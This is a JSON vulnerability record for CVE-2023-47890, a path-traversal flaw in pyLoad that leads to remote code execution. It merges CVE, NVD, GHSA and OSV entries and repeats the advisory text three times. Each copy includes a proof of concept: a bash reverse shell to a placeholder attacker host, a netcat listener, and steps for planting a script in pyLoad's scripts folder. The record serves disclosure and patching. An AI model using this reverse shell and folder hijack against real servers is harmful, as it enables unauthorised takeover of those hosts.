{"id":"CVE-2023-47890","aliases":["EUVD-2023-2971","GHSA-h73m-pcfw-25h2","PYSEC-2026-1819"],"status":"published","title":"Download to arbitrary folder can lead to RCE","description":"pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-10","score":0.01058,"percentile":0.64769,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2023-11-21T22:19:10Z","modified":"2026-07-09T01:18:44Z","fixes":[{"ecosystem":"PyPI","package":"pyload-ng","fixed_in":["0.5.0b3.dev75"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev75"}]}]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev75"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74"]},{"source":"osv","ecosystem":"PyPI","package":"pyload-ng","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev75"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74"]}],"products":[{"vendor":"pyload","product":"pyload"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2","tags":["x_transferred","Exploit","Third Party Advisory","web"]},{"url":"https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47890","tags":["advisory"]},{"url":"http://pyload.com","tags":["web"]},{"url":"https://github.com/advisories/GHSA-h73m-pcfw-25h2","tags":["advisory"]},{"url":"https://github.com/pyload/pyload","tags":["package"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-47890","description":"pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.","status":"published","published":"2024-01-08T00:00:00Z","modified":"2026-07-09T00:29:01.952Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:35:14.298866Z"}],"euvd":[{"id":"EUVD-2023-2971","description":"pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.","status":"published","published":"2024-01-08T00:00:00Z","modified":"2026-07-09T00:29:01Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T18:20:05.313723Z"}],"ghsa":[{"id":"GHSA-h73m-pcfw-25h2","title":"Download to arbitrary folder can lead to RCE","description":"### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261' \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.","status":"published","published":"2023-11-21T22:19:10Z","modified":"2024-01-08T22:14:14Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:37:30.183224Z"}],"nvd":[{"id":"CVE-2023-47890","description":"pyLoad 0.5.0 is vulnerable to Unrestricted File Upload.","status":"published","published":"2024-01-08T20:15:44.453Z","modified":"2026-07-09T01:18:44.423Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:09:00.788714Z"}],"osv":[{"id":"GHSA-h73m-pcfw-25h2","title":"Download to arbitrary folder can lead to RCE","description":"### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261' \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.","status":"published","published":"2023-11-21T22:19:10Z","modified":"2026-07-07T17:57:34.083969558Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:48.920784Z"},{"id":"PYSEC-2026-1819","title":"Download to arbitrary folder can lead to RCE","description":"### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n  folder = (\n      folder.replace(\"http://\", \"\")\n      .replace(\"https://\", \"\")\n      .replace(\":\", \"\")\n      .replace(\"/\", \"_\")\n      .replace(\"\\\\\", \"_\")\n  )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n  id = int(flask.request.form[\"pack_id\"])\n  data = {\n      \"name\": flask.request.form[\"pack_name\"],\n      \"_folder\": flask.request.form[\"pack_folder\"],\n      \"password\": flask.request.form[\"pack_pws\"],\n  }\n\n  api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261' \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n  ```bash\n  nc -vklp 9999\n  ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n    Change permissions of downloads: On\n    Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n    http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.","status":"published","published":"2026-07-07T11:45:27.551381Z","modified":"2026-07-07T17:48:06.290834482Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.06457Z"}]}}
